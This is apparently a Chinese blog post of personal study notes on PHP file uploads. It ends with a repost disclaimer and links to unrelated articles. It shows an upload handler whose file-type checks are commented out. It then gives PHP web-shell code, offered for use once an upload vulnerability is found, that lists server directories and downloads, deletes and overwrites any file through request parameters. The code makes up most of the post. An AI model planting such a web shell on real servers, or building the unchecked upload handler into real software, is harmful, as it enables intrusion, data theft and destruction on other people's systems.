網絡安全--PHP第三天

今天學習文件上傳的相關知識

上傳的前端頁面如下
upload.html

<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>簡單文件上傳</title><style>body {font-family: Arial, sans-serif;max-width: 600px;margin: 0 auto;padding: 20px;}.upload-container {border: 2px dashed #ccc;padding: 20px;text-align: center;border-radius: 5px;}.upload-btn {background-color: #4CAF50;color: white;padding: 10px 20px;border: none;border-radius: 4px;cursor: pointer;font-size: 16px;margin-top: 15px;}.upload-btn:hover {background-color: #45a049;}.note {font-size: 14px;color: #666;margin-top: 10px;}</style>
</head>
<body>
<h1>文件上傳</h1>
<form action="upload.php" method="post" enctype="multipart/form-data"><div class="upload-container"><h3>選擇要上傳的文件</h3><input type="file" name="file" id="file" required><p class="note">注意:實際文件上傳需要服務器端處理腳本</p><button type="submit" class="upload-btn">上傳文件</button></div>
</form>
</body>
</html>

配套的php文件如下:

upload.php

?

<?php$name = $_FILES['file']['name'];
$type = $_FILES['file']['type'];
$size = $_FILES['file']['size'];
$temp_name = $_FILES['file']['tmp_name'];
echo $type;$error = $_FILES['file']['error'];$black_ext = array('jpg', 'jpeg', 'gif', 'png');//添加非法文件類型
$fenge =  explode(".", $name);//通過.分割文件形成數組
$exts = end($fenge);//拿到數組最后面的數據//黑名單過濾
//if (in_array($exts, $black_ext)) {//對后綴進行驗證
//    echo "非法文件'.$exts'";//失敗
//}else{
//    move_uploaded_file($temp_name, './'.$name);//保存在根目錄下
//    echo '<script>alert("上傳成功");</script>';
//}//白名單過濾
//$allow_type = array('image/jpeg','video/mp4','image/png','image/gif');
//if(!in_array($type,$allow_type)){
//    echo '非法后綴';
//}else{
//    move_uploaded_file($temp_name,'.'.$name);
//    echo '<script>alert</script>';
//}?>

兩個過濾模式

黑名單過濾

白名單過濾

html調用后可以上傳文件


如果遇到上傳漏洞 可以使用一下的簡單代碼拿到數據 例子如下

<?php$dir = $_GET['dir'] ?? './';function show_file($dir) {$d = opendir($dir);while(($file=readdir($d))!==false){if(is_dir($file)){echo '文件夾:'.$file."<br>";}else{echo '文件:'.$file."<br>";}}
}show_file($dir);

上傳文件成功和 訪問即可 這里修改了dir里面的參數

成功拿到目錄信息


優化拿到目錄(文件)后的操作

并且添加了刪除 下載 修改功能
?

<?php
// 獲取操作類型(刪除、下載、編輯)
$action = isset($_GET['a']) ? $_GET['a'] : '';
// 獲取路徑參數,默認當前目錄
$path   = isset($_GET['path']) ? $_GET['path'] : './';// 路徑處理:去除兩端斜杠/反斜杠
$path = rtrim($path, '/\\');//判斷是文件還是目錄
if (is_file($path)) {$current_dir = dirname($path) . '/';  // 文件所在目錄$file = basename($path);             // 文件名
} else {$current_dir = $path . '/';          // 目錄路徑// 檢查目錄是否存在if (!is_dir($current_dir)) {die('sorry, the directory does not exist: ' . $current_dir);}
}//拿到路徑信息
function getlist($path) {$hd = opendir($path);  // 打開目錄句柄$list = ['dir' => [], 'file' => []];  // 初始化分類數組// 遍歷目錄內容while(($file_name = readdir($hd)) !== false) {// 跳過當前目錄(.)和上級目錄(..)if($file_name != "." && $file_name != "..") {$file_path = $path . $file_name;  // 完整文件路徑// 跳過不存在的文件if(!file_exists($file_path)) continue;$file_type = filetype($file_path);  // 獲取文件類型// 按類型分類存儲文件信息$list[$file_type][] = array('file_name' => $file_name,               // 文件名'file_path' => $file_path,               // 完整路徑'file_size' => is_file($file_path) ? round(filesize($file_path)/1024) : '-',  // 文件大小(KB)'file_time' => date('Y/m/d', filemtime($file_path)),  // 修改日期);}}closedir($hd);  // 關閉目錄句柄return $list;
}// 獲取當前目錄內容列表
$list = getlist($current_dir);//執行對應操作
switch($action) {// 刪除文件操作case 'del':if(isset($_GET['path'])) {$fileToDelete = $_GET['path'];// 驗證文件存在且是普通文件if(file_exists($fileToDelete) && is_file($fileToDelete)) {// 執行刪除if(unlink($fileToDelete)) {// 刪除成功后返回父目錄header("Location: ?path=" . dirname($fileToDelete));exit;} else {die('刪除文件失敗,可能是權限不足');}} else {die('文件不存在或不是普通文件');}} else {die('未指定要刪除的文件路徑');}break;// 文件下載操作case 'down':if (isset($_GET['path'])) {$file = $_GET['path'];// 驗證文件存在且是普通文件if (file_exists($file) && is_file($file)) {// 設置下載頭信息header('Content-Type: application/octet-stream');  // 二進制流header('Content-Disposition: attachment; filename="' . basename($file) . '"');  // 下載文件名header('Content-Length: ' . filesize($file));     // 文件大小readfile($file);  // 輸出文件內容exit;}}break;// 文件編輯操作case 'edit':if (isset($_GET['path'])) {$file = $_GET['path'];// 處理保存操作(POST請求)if ($_SERVER['REQUEST_METHOD'] === 'POST') {$content = $_POST['content'] ?? '';  // 獲取編輯內容// 寫入文件if (file_put_contents($file, $content) !== false) {// 保存成功返回目錄header("Location: ?path=" . dirname($file));exit;} else {die('保存文件失敗,可能是權限不足');}}// 顯示編輯界面if (file_exists($file) && is_file($file) && is_readable($file)) {$content = htmlspecialchars(file_get_contents($file));  // 讀取內容并轉義$filename = basename($file);  // 獲取純文件名// 輸出編輯界面HTMLecho <<<HTML
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>編輯文件 - {$filename}</title><style>body { font-family: Arial, sans-serif; margin: 20px; }h1 { margin-bottom: 20px; }textarea { width: 100%; height: 400px; font-family: monospace; }.actions { margin-top: 10px; }</style>
</head>
<body><h1>編輯文件: {$filename}</h1><form method="post"><textarea name="content">{$content}</textarea><div class="actions"><button type="submit">保存</button><a href="?path=" . dirname($file) . "">取消</a></div></form>
</body>
</html>
HTML;exit;} else {die('文件不可編輯或不存在');}}break;// 默認情況:顯示目錄內容default:break;
}
?><!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>設備類型圖例</title><style>body {font-family: Arial, sans-serif;margin: 20px;}h1 {text-align: center;margin-bottom: 20px;}table {width: 100%;border-collapse: collapse;margin-top: 20px;}th, td {border: 1px solid #ddd;padding: 8px;text-align: left;}th {background-color: #f2f2f2;text-align: center;}img {vertical-align: middle;}</style>
</head>
<body>
<h1>圖例</h1>
<table><thead><tr><th>圖形</th><th>名稱</th><th>日期</th><th>大小</th><th>路徑</th><th>操作</th></tr></thead><tbody><?php foreach ($list['dir'] as $v): ?><tr><td><img src="./img/file.png" width="20" height="20"></td><td><?php echo htmlspecialchars($v['file_name']); ?></td><td><?php echo $v['file_time']; ?></td><td>-</td><td><?php echo htmlspecialchars($v['file_path']); ?></td><td><a href="?path=<?php echo urlencode($v['file_path']); ?>">打開</a></td></tr><?php endforeach; ?><?php foreach ($list['file'] as $v): ?><tr><td></td><td><?php echo htmlspecialchars($v['file_name']); ?></td><td><?php echo $v['file_time']; ?></td><td><?php echo $v['file_size']; ?></td><td><?php echo htmlspecialchars($v['file_path']); ?></td><td><a href="?a=edit&path=<?php echo urlencode($v['file_path']); ?>">編輯</a><a href="?a=down&path=<?php echo urlencode($v['file_path']); ?>">下載</a><a href="?a=del&path=<?php echo urlencode($v['file_path']); ?>" οnclick="return confirm('確定刪除嗎?')">刪除</a></td></tr><?php endforeach; ?></tbody>
</table>
</body>
</html>功能就不一一展示了

功能都可以實現 但是全是安全問題

通過代碼 知道了大致的文件上傳的過程于一些基本的安全問題

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/82486.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/82486.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/82486.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【愚公系列】《生產線數字化設計與仿真》004-顏色分類站仿真(基礎概念)

??【技術大咖愚公搬代碼:全棧專家的成長之路,你關注的寶藏博主在這里!】?? ??開發者圈持續輸出高質量干貨的"愚公精神"踐行者——全網百萬開發者都在追更的頂級技術博主! ?? 江湖人稱"愚公搬代碼",用七年如一日的精神深耕技術領域,以"…

基于 uni-app + <movable-view>拖拽實現的標簽排序-適用于微信小程序、H5等多端

在實際業務中&#xff0c;我們經常遇到「標簽排序」或「菜單調整」的場景。微信小程序原生的 movable-view 為我們提供了一個簡單、高效的拖拽能力&#xff0c;結合 Vue3 uni-app 的組合&#xff0c;我們可以實現一個體驗良好的標簽管理界面。 核心組件&#xff1a;<movab…

一些較好的學習方法

1、網上有一些非常經典的電路&#xff0c;而且有很多視頻博主做了詳細的講解。 2、有一部分拆解的UP主&#xff0c;拆解后會還原該器件的原理圖&#xff0c;并一步步做講解。 3、有兩本書&#xff0c;數電、模電&#xff0c;這兩本書中的內容很多都值得學習。 5、某寶上賣的…

《1.1_4計算機網絡的分類|精講篇|附X-mind思維導圖》

網絡相關知識 按使用范圍分類 公用網 由電信部門或其他提供通信服務的經營部門組建、管理和控制&#xff0c;向全社會提供服務的網絡。 專用網 由某個單位或部門組建、僅供本單位或部門內部使用的網絡。 按傳輸介質分類 有線網絡 如&#xff1a;雙絞線、同軸電纜、光纖…

Git 和 GitHub 學習指南本地 Git 配置、基礎命令、GitHub 上傳流程、企業開發中 Git 的使用流程、以及如何將代碼部署到生產服務器

Windows 上 Git 安裝與配置 下載安裝&#xff1a;訪問 Git 官方網站下載適用于 Windows 的安裝程序。運行安裝包時會出現許可協議、安裝目錄、組件選擇等界面&#xff08;如下圖&#xff09;。在“Select Components”頁面建議勾選 Git Bash Here 等選項&#xff0c;以便在資源…

航空航天領域對滾珠絲桿的精度要求有多高?

航空航天領域對滾珠絲桿的精度要求非常高&#xff0c;尤其是飛行器、火箭和衛星等載具的導航和定位系統都需要高精度的滾珠絲桿&#xff0c;以確保高精度的位置控制和穩定的導航性能。那么&#xff0c;航空航天領域對滾珠絲桿的精度要求有多高&#xff1f; 1、定位精度&#xf…

技術篇-2.5.Matlab應用場景及開發工具安裝

Matlab 在數學建模和數值分析等領域具有無可替代的地位。它幾乎涵蓋所有常見數學算法的內置函數庫&#xff0c;使得從數據預處理、方程求解到優化算法的實現&#xff0c;無需編寫大量底層代碼即可快速完成&#xff1b;同時&#xff0c;Matlab 強大的可視化能力&#xff0c;可以…

Vtk概覽1

vtk環境搭建 見&#xff08;VTK開發環境配置(Visual Studio C)-詳細圖文教程-CSDN博客&#xff09; 在學習vtk圖形圖像進階的第二章時&#xff0c;通過vs2022建的控制臺程序&#xff0c;編寫運行示例2.1 發現 不顯示圖像。 #include <iostream> #include<vtkRenderW…

【數據集】基于ubESTARFM法的100m 地溫LST數據集(澳大利亞)

目錄 數據概述一、輸入數據與處理二、融合算法1. ESTARFM(Enhanced STARFM)2. ubESTARFM(Unbiased ESTARFM)代碼實現數據下載參考根據論文《Generating daily 100 m resolution land surface temperature estimates continentally using an unbiased spatiotemporal fusion…

Lucide:一款精美的開源矢量圖標庫,前端圖標新選擇

名人說:博觀而約取,厚積而薄發。——蘇軾《稼說送張琥》 創作者:Code_流蘇(CSDN)(一個喜歡古詩詞和編程的Coder??) 目錄 一、前言:為何選擇 Lucide?二、Lucide 是什么?1. 基本介紹2. Lucide vs Feather三、如何在項目中使用 Lucide?1. 安裝圖標包(以 React 為例)2…

BeanUtil和BeanUtils有什么區別

BeanUtil 和 BeanUtils 是兩個常見的工具類&#xff0c;通常用于 Java 開發中處理對象之間的屬性復制或轉換。它們的功能可能看起來相似&#xff0c;但實際上它們來自不同的庫&#xff0c;并且在實現細節和使用方式上存在一些差異。 以下是它們的主要區別&#xff1a; 1. 來源…

【CF】Day66——Edu 168.D + CF 853 (Div. 2).C (樹 + 二分 + 貪心 | 組合數學)

D. Maximize the Root 題目&#xff1a; 思路&#xff1a; 樹上二分&#xff0c;中下題 我們可以發現如果 x 可以&#xff0c;那么 x - 1 肯定也可以&#xff0c;所以可以直接二分答案 具體的&#xff0c;我們每次二分能增加的值 mid &#xff0c;如果 a[i] < mid&#xf…

生成對抗網絡(GANs)中的損失函數公式 判別器最優解D^*(x)的推導

https://www.bilibili.com/video/BV1YyHSekEE2 這張圖片展示的是生成對抗網絡&#xff08;GANs&#xff09;中的損失函數公式&#xff0c;特別是針對判別器&#xff08;Discriminator&#xff09;和生成器&#xff08;Generator&#xff09;的優化目標。讓我們用Markdown格式逐…

分布式爬蟲架構設計

隨著互聯網數據的爆炸式增長&#xff0c;單機爬蟲已經難以滿足大規模數據采集的需求。分布式爬蟲應運而生&#xff0c;它通過多節點協作&#xff0c;實現了數據采集的高效性和容錯性。本文將深入探討分布式爬蟲的架構設計&#xff0c;包括常見的架構模式、關鍵技術組件、完整項…

[java]eclipse中windowbuilder插件在線安裝

目錄 一、打開eclipse 二、打開插件市場 三、輸入windowbuilder&#xff0c;點擊install 四、進入安裝界面 五、勾選我同意... 重啟即可 一、打開eclipse 二、打開插件市場 三、輸入windowbuilder&#xff0c;點擊install 四、進入安裝界面 五、勾選我同意... 重啟即可

sass,less是什么?為什么要使用他們?

理解 他們都是css的預處理器,允許開發者通過更高級的語法編寫css代碼(支持變量,嵌套),然后通過編譯成css文件 使用原因 結構清晰,便于擴展提高開發效率,便于后期開發維護

Java設計模式之模板方法模式:從基礎到高級的全面解析(最詳解)

文章目錄 一、模板方法模式基礎概念1.1 什么是模板方法模式1.2 模板方法模式的核心結構1.3 模板方法模式中的方法分類1.4 模板方法模式的簡單示例二、模板方法模式的深入解析2.1 模板方法模式的核心原理2.2 模板方法模式的優勢與適用場景優勢分析適用場景2.3 模板方法模式與其他…

【C/C++】如何在一個事件驅動的生產者-消費者模型中使用觀察者進行通知與解耦

文章目錄 如何在一個事件驅動的生產者-消費者模型中使用觀察者進行通知與解耦?1 假設場景設計2 Codes3 流程圖4 優劣勢5 風險可能 如何在一個事件驅動的生產者-消費者模型中使用觀察者進行通知與解耦? 1 假設場景設計 Producer&#xff08;生產者&#xff09;&#xff1a;生…

MVC和MVVM架構的區別

MVC和MVVM都是前端開發中常用的設計模式&#xff0c;都是為了解決前端開發中的復雜性而設計的&#xff0c;而MVVM模式則是一種基于MVC模式的新模式。 MVC(Model-View-Controller)的三個核心部分&#xff1a;模型、視圖、控制器相較于MVVM(Model-View-ViewModel)的三個核心部分…

蘭亭妙微 | 圖標設計公司 | UI設計案例復盤

在「33」「312」新高考模式下&#xff0c;選科決策成為高中生和家長的「頭等大事」。蘭亭妙微公司受委托優化高考選科決策平臺個人診斷報告界面&#xff0c;核心挑戰是&#xff1a;如何將復雜的測評數據&#xff08;如學習能力傾向、學科報考機會、職業興趣等&#xff09;轉化為…